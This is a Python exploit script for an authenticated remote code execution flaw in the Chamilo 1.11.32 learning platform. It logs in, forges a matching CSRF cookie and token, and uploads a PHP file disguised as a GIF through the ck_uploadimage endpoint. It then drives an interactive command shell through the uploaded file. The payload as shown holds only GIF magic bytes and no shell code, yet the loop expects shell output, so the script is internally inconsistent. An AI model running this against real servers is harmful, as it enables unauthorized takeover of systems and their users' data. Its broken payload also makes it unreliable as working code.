import requests import argparse import sys import random import string import time def exploit(url, username, password): session = requests.Session() # 1. Login login_url = f"{url}/index.php" print(f"[+] 1. Logging in as {username}...") login_data = { 'login': username, 'password': password, 'submitAuth': 1 } try: resp = session.post(login_url, data=login_data, allow_redirects=True) if "user_portal.php" not in resp.url and "index.php" in resp.url and "loginFailed" in resp.url: print("[-] Login failed. Check credentials.") return print("[+] Login successful.") except Exception as e: print(f"[-] Login request failed: {e}") return # 2. Prepare Payload # Generate a random PHP filename filename = ''.join(random.choices(string.ascii_lowercase, k=8)) + ".php" # Magic bytes for GIF89a to bypass mime_content_type check if strictly implemented on magic bytes # The vulnerability report states mime_content_type is used. # Payload: GIF89a header + PHP shell payload_content = b'GIF89a;\n' # 3. Upload File # Endpoint: main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=CVD # cidReq is required for api_protect_course_script() to pass upload_url = f"{url}/main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=CVD" print(f"[+] 2. Uploading malicious file to {upload_url}...") # Generate a random CSRF token csrf_token = ''.join(random.choices(string.ascii_letters + string.digits, k=20)) # Set the cookie session.cookies.set("ckCsrfToken", csrf_token) # Correct multipart structure is crucial. # The PHP script expects $_FILES['upload'] # We send csrf token as a field in the multipart data via 'data' parameter files = { 'upload': (filename, payload_content, 'image/gif') } # We don't need 'data' anymore if we put it in 'files' with None filename # but requests might need it in 'data' for simple fields. # Let's try putting it in 'data' as standard requests usage first, but make sure cookies are set. # The previous attempt didn't work. The issue might be requests not sending the cookie properly or the token mismatch. # Let's verify we are getting the cookie first. if 'ckCsrfToken' not in session.cookies: session.cookies.set("ckCsrfToken", csrf_token) data = { 'ckCsrfToken': csrf_token } try: # Note: 'files' argument in requests automatically sets Content-Type to multipart/form-data # We explicitly pass cookies just to be safe, though session should handle it. resp = session.post(upload_url, files=files, data=data, cookies={"ckCsrfToken": csrf_token}) if resp.status_code != 200: print(f"[-] Upload failed with status code {resp.status_code}") print("Response:", resp.text) return # Check for redirects if len(resp.history) > 0: print("[-] Request was redirected:") for r in resp.history: print(f" {r.status_code} -> {r.url}") print(f" Final URL: {resp.url}") # Parse JSON response try: json_resp = resp.json() # Check for boolean true or 1 or string "1" if json_resp.get('uploaded') == 1 or json_resp.get('uploaded') == True: relative_url = json_resp.get('url') print(f"[+] Upload successful! Relative URL: {relative_url}") # 4. Execute Command # The relative URL usually starts with /, so we join carefully if relative_url.startswith('/'): shell_full_url = f"{url}{relative_url}" else: shell_full_url = f"{url}/{relative_url}" print(f"[+] 3. Remote Shell Active at {shell_full_url}") print("[+] Type 'exit' to quit.") while True: try: cmd = input("Shell> ") if cmd.lower() in ['exit', 'quit']: break # Add a cache-buster to prevent caching shell_resp = session.get(shell_full_url, params={'cmd': cmd, '_': int(time.time())}) if "Shell Executed:" in shell_resp.text: # Extract output after our marker output = shell_resp.text.split("Shell Executed: ")[1].strip() print(output) else: print("[-] Execution marker not found.") # print(shell_resp.text) except KeyboardInterrupt: print("\n[+] Exiting...") break except Exception as e: print(f"[-] Error: {e}") else: print("[-] Upload failed according to JSON response.") print("Response:", json_resp) except ValueError: print("[-] Failed to parse JSON response. Raw response:") print(f"Final URL: {resp.url}") print(resp.text) print(f"Status Code: {resp.status_code}") except Exception as e: print(f"[-] Upload request failed: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Chamilo 1.11.32 Authenticated RCE Exploit (CVE-PoC)") parser.add_argument("-u", "--url", required=True, help="Base URL of Chamilo (e.g., http://localhost/chamilo)") parser.add_argument("-l", "--login", required=True, help="Username") parser.add_argument("-p", "--password", required=True, help="Password") args = parser.parse_args() # Remove trailing slash from URL target_url = args.url.rstrip('/') exploit(target_url, args.login, args.password) # Usage: python .\cvd-10-10.py -u http://localhost:8081 -l student -p cvd1010